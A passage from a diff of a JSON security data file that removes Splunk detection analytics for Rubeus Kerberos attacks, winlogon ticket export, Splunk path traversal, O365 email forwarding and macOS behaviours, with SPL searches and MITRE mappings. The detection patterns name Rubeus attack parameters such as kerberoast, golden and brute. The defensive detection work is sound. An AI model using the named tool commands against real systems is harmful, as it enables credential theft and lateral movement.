kerberoasting, and password spraying. This activity is significant as Rubeus is commonly used by adversaries to exploit Kerberos for privilege escalation and lateral movement. If confirmed malicious, this could lead to unauthorized access, persistence, and potential compromise of sensitive information within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process = \"*ptt /ticket*\" OR Processes.process = \"* monitor /interval*\" OR Processes.process =\"* asktgt* /user:*\" OR Processes.process =\"* asktgs* /service:*\" OR Processes.process =\"* golden* /user:*\" OR Processes.process =\"* silver* /service:*\" OR Processes.process =\"* kerberoast*\" OR Processes.process =\"* asreproast*\" OR Processes.process = \"* renew* /ticket:*\" OR Processes.process = \"* brute* /password:*\" OR Processes.process = \"* brute* /passwords:*\" OR Processes.process =\"* harvest*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `rubeus_command_line_parameters_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Active Directory Privilege Escalation", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - } - ], - "message": "Rubeus command line parameters were used on $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1550", - "mitre_attack_technique": "Use Alternate Authentication Material", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1550.003", - "mitre_attack_technique": "Pass the Ticket", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "BRONZE BUTLER" - ] - }, - { - "mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1558.003", - "mitre_attack_technique": "Kerberoasting", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "FIN7", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1558.004", - "mitre_attack_technique": "AS-REP Roasting", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Rubeus Kerberos Ticket Exports Through Winlogon Access", - "description": "The following analytic detects a process accessing the winlogon.exe system process, indicative of the Rubeus tool attempting to export Kerberos tickets from memory. This detection leverages Sysmon EventCode 10 logs, focusing on processes obtaining a handle to winlogon.exe with specific access rights. This activity is significant as it often precedes pass-the-ticket attacks, where adversaries use stolen Kerberos tickets to move laterally within an environment. If confirmed malicious, this could allow attackers to bypass normal access controls, escalate privileges, and persist within the network, posing a severe security risk.", - "search": " `sysmon` EventCode=10 TargetImage=C:\\\\Windows\\\\system32\\\\winlogon.exe (GrantedAccess=0x1f3fff) (SourceImage!=C:\\\\Windows\\\\system32\\\\svchost.exe AND SourceImage!=C:\\\\Windows\\\\system32\\\\lsass.exe AND SourceImage!=C:\\\\Windows\\\\system32\\\\LogonUI.exe AND SourceImage!=C:\\\\Windows\\\\system32\\\\smss.exe AND SourceImage!=C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe) | stats count min(_time) as firstTime max(_time) as lastTime by dest, SourceImage, SourceProcessId, TargetImage, TargetProcessId, EventCode, GrantedAccess | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `rubeus_kerberos_ticket_exports_through_winlogon_access_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "TargetImage", - "type": "Process", - "role": [ - "Target" - ] - } - ], - "message": "Winlogon.exe was accessed by $SourceImage$ on $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1550", - "mitre_attack_technique": "Use Alternate Authentication Material", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1550.003", - "mitre_attack_technique": "Pass the Ticket", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "BRONZE BUTLER" - ] - } - ] - } } ], "external_reference": [ @@ -429570,269 +295166,7 @@ "Event ID": "4688", "Event Name": "Process Execution" } - ], - { - "name": "Path traversal SPL injection", - "description": "The following analytic identifies attempts at path traversal in search parameters, which can lead to SPL injection. It detects this activity by searching for specific patterns in the `_internal` index that indicate path traversal attempts (e.g., \"../../../../\"). This activity is significant for a SOC because it can allow an attacker to manipulate the application to load data from incorrect endpoints, potentially running arbitrary SPL queries. If confirmed malicious, this could lead to unauthorized data access, code execution, or further exploitation of the Splunk environment.", - "search": " `path_traversal_spl_injection` | search \"\\/..\\/..\\/..\\/..\\/..\\/..\\/..\\/..\\/..\\/\" | stats count by host status clientip method uri_path uri_query | `path_traversal_spl_injection_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "clientip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Path traversal exploitation attempt from $clientip$", - "risk_score": 40, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1083", - "mitre_attack_technique": "File and Directory Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aoqin Dragon", - "BRONZE BUTLER", - "Chimera", - "Confucius", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "FIN13", - "Fox Kitten", - "Gamaredon Group", - "HAFNIUM", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Leafminer", - "LuminousMoth", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Patchwork", - "Sandworm Team", - "Scattered Spider", - "Sidewinder", - "Sowbug", - "TeamTNT", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Windigo", - "Winnti Group", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Splunk Absolute Path Traversal Using runshellscript", - "description": "The following analytic detects the exploitation of an absolute path traversal vulnerability in Splunk Enterprise versions lower than 8.2.12, 9.0.6, and 9.1.1, where an attacker can execute arbitrary code located on a separate disk. It leverages logs from the `splunk_python` macro, specifically looking for the `runshellscript` command with a specific argument count and path pattern. This activity is significant as it indicates a potential exploitation attempt that could lead to unauthorized code execution. If confirmed malicious, this could allow an attacker to gain control over the Splunk instance, leading to data breaches or further system compromise.", - "search": "`splunk_python` *runshellscript* | eval log_split=split(_raw, \"runshellscript: \") | eval array_raw = mvindex(log_split,1) | eval data_cleaned=replace(replace(replace(array_raw,\"\\[\",\"\"),\"\\]\",\"\"),\"'\",\"\") | eval array_indices=split(data_cleaned,\",\") | eval runshellscript_args_count=mvcount(array_indices) | where runshellscript_args_count = 10 | eval interpreter=mvindex(array_indices,0) | eval targetScript=mvindex(array_indices,1) | eval targetScript != \"*C:*\" | stats count min(_time) as firstTime max(_time) as lastTime by splunk_server interpreter targetScript | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `splunk_absolute_path_traversal_using_runshellscript_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "splunk_server", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Possible attack against splunk_server $splunk_server$ through abuse of the runshellscript command", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1083", - "mitre_attack_technique": "File and Directory Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aoqin Dragon", - "BRONZE BUTLER", - "Chimera", - "Confucius", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "FIN13", - "Fox Kitten", - "Gamaredon Group", - "HAFNIUM", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Leafminer", - "LuminousMoth", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Patchwork", - "Sandworm Team", - "Scattered Spider", - "Sidewinder", - "Sowbug", - "TeamTNT", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Windigo", - "Winnti Group", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Splunk Path Traversal In Splunk App For Lookup File Edit", - "description": "The following analytic identifies path traversal attempts in the Splunk App for Lookup File Editing. It detects specially crafted web requests targeting lookup files by analyzing the `uri_query` field in the `_internal` index. This activity is significant because it allows low-privilege users to read and write to restricted areas of the Splunk installation directory, potentially accessing sensitive files like password hashes. If confirmed malicious, this could lead to unauthorized access, data breaches, and further exploitation of the Splunk environment.", - "search": "`splunkda` uri_query=*lookup_file* | table clientip uri_query lookup_file owner namespace version | stats count by clientip namespace lookup_file uri_query | `splunk_path_traversal_in_splunk_app_for_lookup_file_edit_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "clientip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Path traversal exploitation attempt from $clientip$", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1083", - "mitre_attack_technique": "File and Directory Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aoqin Dragon", - "BRONZE BUTLER", - "Chimera", - "Confucius", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "FIN13", - "Fox Kitten", - "Gamaredon Group", - "HAFNIUM", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Leafminer", - "LuminousMoth", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Patchwork", - "Sandworm Team", - "Scattered Spider", - "Sidewinder", - "Sowbug", - "TeamTNT", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Windigo", - "Winnti Group", - "admin@338", - "menuPass" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -432568,93 +297902,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/taskschd/tasks" ] - }, - { - "name": "Linux Kworker Process In Writable Process Path", - "description": "The following analytic detects the execution of a kworker process with a command line in writable directories such as /home/, /var/log, and /tmp on a Linux machine. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process paths. This activity is significant as kworker processes are typically kernel threads, and their presence in writable directories is unusual and indicative of potential malware, such as CyclopsBlink. If confirmed malicious, this could allow attackers to blend malicious processes with legitimate ones, leading to persistent access and further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process = \"*[kworker/*\" Processes.parent_process_path IN (\"/home/*\", \"/tmp/*\", \"/var/log/*\") Processes.process=\"*iptables*\" by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_path Processes.process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_kworker_process_in_writable_process_path_filter`", - "tags": { - "analytic_story": [ - "Cyclops Blink", - "Sandworm Tools" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a $process_name$ with kworker commandline in $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036.004", - "mitre_attack_technique": "Masquerade Task or Service", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT32", - "APT41", - "BITTER", - "BackdoorDiplomacy", - "Carbanak", - "FIN13", - "FIN6", - "FIN7", - "Fox Kitten", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Naikon", - "PROMETHIUM", - "Wizard Spider", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } } ], "external_reference": [ @@ -434765,83 +300012,6 @@ "source_data_element": "network traffic flow", "relationship": "identified", "target_data_element": "network traffic volume" - }, - { - "name": "Detect Traffic Mirroring", - "description": "The following analytic detects the initiation of traffic mirroring sessions on Cisco network devices. It leverages logs with specific mnemonics and facilities related to traffic mirroring, such as \"ETH_SPAN_SESSION_UP\" and \"PKTCAP_START.\" This activity is significant because adversaries may use traffic mirroring to exfiltrate data by duplicating and forwarding network traffic to an external destination. If confirmed malicious, this could allow attackers to capture sensitive information, monitor network communications, and potentially compromise the integrity and confidentiality of the network.", - "search": "`cisco_networks` (facility=\"MIRROR\" mnemonic=\"ETH_SPAN_SESSION_UP\") OR (facility=\"SPAN\" mnemonic=\"SESSION_UP\") OR (facility=\"SPAN\" mnemonic=\"PKTCAP_START\") OR (mnemonic=\"CFGLOG_LOGGEDCMD\" command=\"monitor session*\") | stats min(_time) AS firstTime max(_time) AS lastTime count BY host facility mnemonic | `security_content_ctime(firstTime)`|`security_content_ctime(lastTime)` | `detect_traffic_mirroring_filter`", - "tags": { - "analytic_story": [ - "Router and Infrastructure Security" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1200", - "mitre_attack_technique": "Hardware Additions", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "DarkVishnya" - ] - }, - { - "mitre_attack_id": "T1020", - "mitre_attack_technique": "Automated Exfiltration", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "Gamaredon Group", - "Ke3chang", - "Sidewinder", - "Tropic Trooper" - ] - }, - { - "mitre_attack_id": "T1498", - "mitre_attack_technique": "Network Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1020.001", - "mitre_attack_technique": "Traffic Duplication", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [], @@ -435162,58 +300332,7 @@ } } ], - "possible_detections": [ - { - "name": "MacOS plutil", - "description": "The following analytic detects the usage of the `plutil` command to modify plist files on macOS systems. It leverages osquery to monitor process events, specifically looking for executions of `/usr/bin/plutil`. This activity is significant because adversaries can use `plutil` to alter plist files, potentially adding malicious binaries or command-line arguments that execute upon user logon or system startup. If confirmed malicious, this could allow attackers to achieve persistence, execute arbitrary code, or escalate privileges, posing a significant threat to the system's security.", - "search": "`osquery` name=es_process_events columns.path=/usr/bin/plutil | rename columns.* as * | stats count min(_time) as firstTime max(_time) as lastTime by username host cmdline pid path parent signing_id | rename username as user, cmdline as process, path as process_path, host as dest | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `macos_plutil_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "plutil are executed on $dest$ from $user$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1647", - "mitre_attack_technique": "Plist File Modification", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - } - ], + "possible_detections": [], "external_reference": [], "controls": [], "x_mitre_network_requirements": false, @@ -436350,305 +301469,6 @@ "references": [ "https://confluence.atlassian.com/doc/working-with-confluence-logs-108364721.html" ] - }, - { - "name": "O365 Mailbox Email Forwarding Enabled", - "description": "The following analytic identifies instances where email forwarding has been enabled on mailboxes within an Office 365 environment. It detects this activity by monitoring the Set-Mailbox operation within the o365_management_activity logs, specifically looking for changes to the ForwardingAddress or ForwardingSmtpAddress parameters. This activity is significant as unauthorized email forwarding can lead to data exfiltration and unauthorized access to sensitive information. If confirmed malicious, attackers could intercept and redirect emails, potentially compromising confidential communications and leading to data breaches.", - "search": "`o365_management_activity` Operation=Set-Mailbox | eval match1=mvfind('Parameters{}.Name', \"ForwardingAddress\") | eval match2=mvfind('Parameters{}.Name', \"ForwardingSmtpAddress\") | where match1>= 0 OR match2>= 0 | eval ForwardTo=coalesce(ForwardingAddress, ForwardingSmtpAddress) | search ForwardTo!=\"\" | rename user_id as user | stats count earliest(_time) as firstTime latest(_time) as lastTime values(ForwardTo) as ForwardTo by user ObjectId |`security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `o365_mailbox_email_forwarding_enabled_filter`", - "tags": { - "analytic_story": [ - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Email forwarding configured by $user$ on mailbox $ObjectId$", - "risk_score": 42, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1114.003", - "mitre_attack_technique": "Email Forwarding Rule", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Kimsuky", - "LAPSUS$", - "Silent Librarian" - ] - } - ] - } - }, - { - "name": "O365 New Email Forwarding Rule Created", - "description": "The following analytic identifies the creation of new email forwarding rules in an Office 365 environment. It detects events logged under New-InboxRule and Set-InboxRule operations within the o365_management_activity data source, focusing on parameters like ForwardTo, ForwardAsAttachmentTo, and RedirectTo. This activity is significant as unauthorized email forwarding can lead to data exfiltration and unauthorized access to sensitive information. If confirmed malicious, attackers could intercept and redirect emails, potentially compromising confidential communications and leading to data breaches.", - "search": "`o365_management_activity` (Operation=New-InboxRule OR Operation=set-InboxRule) | eval match1=mvfind('Parameters{}.Name', \"ForwardTo\") | eval match2=mvfind('Parameters{}.Name', \"ForwardAsAttachmentTo\") | eval match3=mvfind('Parameters{}.Name', \"RedirectTo\") | where match1>= 0 OR match2>= 0 OR match3>= 0 | eval ForwardTo=coalesce(ForwardTo, ForwardAsAttachmentTo, RedirectTo) | stats count min(_time) as firstTime max(_time) as lastTime values(Name) as Name by user Operation ForwardTo | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_new_email_forwarding_rule_created_filter`", - "tags": { - "analytic_story": [ - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A forwarding email inbox rule was created for $user$", - "risk_score": 42, - "security_domain": "audit", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1114.003", - "mitre_attack_technique": "Email Forwarding Rule", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Kimsuky", - "LAPSUS$", - "Silent Librarian" - ] - } - ] - } - }, - { - "name": "O365 New Email Forwarding Rule Enabled", - "description": "The following analytic identifies the creation of new email forwarding rules in an Office 365 environment via the UpdateInboxRules operation. It leverages Office 365 management activity events to detect rules that forward emails to external recipients by examining the OperationProperties for specific forwarding actions. This activity is significant as it may indicate unauthorized email redirection, potentially leading to data exfiltration. If confirmed malicious, attackers could intercept sensitive communications, leading to data breaches and information leakage.", - "search": "`o365_management_activity` Workload=Exchange Operation=UpdateInboxRules | eval match1=mvfind('OperationProperties{}.Value', \"ForwardToRecipientsAction\") | eval match2=mvfind('OperationProperties{}.Value', \"ForwardAsAttachmentToRecipientsAction\") | eval match3=mvfind('OperationProperties{}.Value', \"RedirectToRecipientsAction\") | eval index = mvfind('OperationProperties{}.Name', \"ServerRule\") | where match1>= 0 OR match2>= 0 OR match3>= 0 | eval ServerRule = mvindex('OperationProperties{}.Value', index-1) | spath input=ServerRule path=Actions{}.Recipients{}.Values{}.Value output=valueExtracted | mvexpand valueExtracted | search valueExtracted=\"*@*.*\" | eval ForwardTo=if(match(valueExtracted, \"^[^@]+@[^@]+\\\\.[^@]+$\"), valueExtracted, null) | dedup ForwardTo | where isnotnull(ForwardTo) | stats count min(_time) as firstTime max(_time) as lastTime values(Name) as Name by user Operation ForwardTo | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_new_email_forwarding_rule_enabled_filter`", - "tags": { - "analytic_story": [ - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A forwarding email inbox rule was created for $user$", - "risk_score": 42, - "security_domain": "audit", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1114.003", - "mitre_attack_technique": "Email Forwarding Rule", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Kimsuky", - "LAPSUS$", - "Silent Librarian" - ] - } - ] - } - }, - { - "name": "O365 Suspicious Admin Email Forwarding", - "description": "**DEPRECATION NOTE** - This search has been deprecated and replaced with `O365 Mailbox Email Forwarding Enabled`. This search detects when an admin configured a forwarding rule for multiple mailboxes to the same destination.", - "search": "`o365_management_activity` Operation=Set-Mailbox | spath input=Parameters | rename Identity AS src_user | search ForwardingAddress=* | stats dc(src_user) AS count_src_user earliest(_time) as firstTime latest(_time) as lastTime values(src_user) AS src_user values(user) AS user by ForwardingAddress | where count_src_user > 1 |`security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` |`o365_suspicious_admin_email_forwarding_filter`", - "tags": { - "analytic_story": [ - "Data Exfiltration", - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has configured a forwarding rule for multiple mailboxes to the same destination $ForwardingAddress$", - "risk_score": 48, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114.003", - "mitre_attack_technique": "Email Forwarding Rule", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Kimsuky", - "LAPSUS$", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - } - ] - } - }, - { - "name": "O365 Suspicious User Email Forwarding", - "description": "**DEPRECATION NOTE** - This search has been deprecated and replaced with `O365 Mailbox Email Forwarding Enabled`. The following analytic detects when multiple users have configured a forwarding rule to the same destination to proactively identify and investigate potential security risks related to email forwarding and take appropriate actions to protect the organizations data and prevent unauthorized access or data breaches. This detection is made by a Splunk query to O365 management activity logs with the operation `Set-Mailbox` to gather information about mailbox configurations. Then, the query uses the `spath` function to extract the parameters and rename the \"Identity\" field as \"src_user\" and searches for entries where the \"ForwardingSmtpAddress\" field is not empty, which indicates the presence of a forwarding rule. Next, the analytic uses the `stats` command to group the results by the forwarding email address and count the number of unique source users (`src_user`). Finally, it filters the results and only retains entries where the count of source users (`count_src_user`) is greater than 1, which indicates that multiple users have set up forwarding rules to the same destination. This detection is important because it suggests that multiple users are forwarding emails to the same destination without proper authorization, which can lead to the exposure of sensitive information, loss of data control, or unauthorized access to confidential emails. Investigating and addressing this issue promptly can help prevent data breaches and mitigate potential damage.indicates a potential security risk since multiple users forwarding emails to the same destination can be a sign of unauthorized access, data exfiltration, or a compromised account. Additionally, it also helps to determine if the forwarding rules are legitimate or if they indicate a security incident. False positives can occur if there are legitimate reasons for multiple users to forward emails to the same destination, such as a shared mailbox or a team collaboration scenario. Next steps include further investigation and context analysis to determine the legitimacy of the forwarding rules.", - "search": "`o365_management_activity` Operation=Set-Mailbox | spath input=Parameters | rename Identity AS src_user | search ForwardingSmtpAddress=* | stats dc(src_user) AS count_src_user earliest(_time) as firstTime latest(_time) as lastTime values(src_user) AS src_user values(user) AS user by ForwardingSmtpAddress | where count_src_user > 1 |`security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` |`o365_suspicious_user_email_forwarding_filter`", - "tags": { - "analytic_story": [ - "Data Exfiltration", - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "ForwardingSmtpAddress", - "type": "Email Address", - "role": [ - "Other" - ] - } - ], - "message": "User $user$ configured multiple users $src_user$ with a count of $count_src_user$, a forwarding rule to same destination $ForwardingSmtpAddress$", - "risk_score": 48, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114.003", - "mitre_attack_technique": "Email Forwarding Rule", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Kimsuky", - "LAPSUS$", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - } - ] - } } ], "external_reference": [ @@ -437065,61 +301885,7 @@ "Event ID": "4663", "Event Name": "File monitoring" } - ], - { - "name": "Suspicious SQLite3 LSQuarantine Behavior", - "description": "The following analytic identifies the use of SQLite3 querying the MacOS preferences to determine the original URL from which a package was downloaded. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions involving LSQuarantine. This activity is significant as it is commonly associated with MacOS adware and other malicious software. If confirmed malicious, this behavior could indicate an attempt to track or manipulate downloaded packages, potentially leading to further system compromise or persistent adware infections.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=sqlite3 Processes.process=*LSQuarantine* by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `suspicious_sqlite3_lsquarantine_behavior_filter`", - "tags": { - "analytic_story": [ - "Silver Sparrow" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": 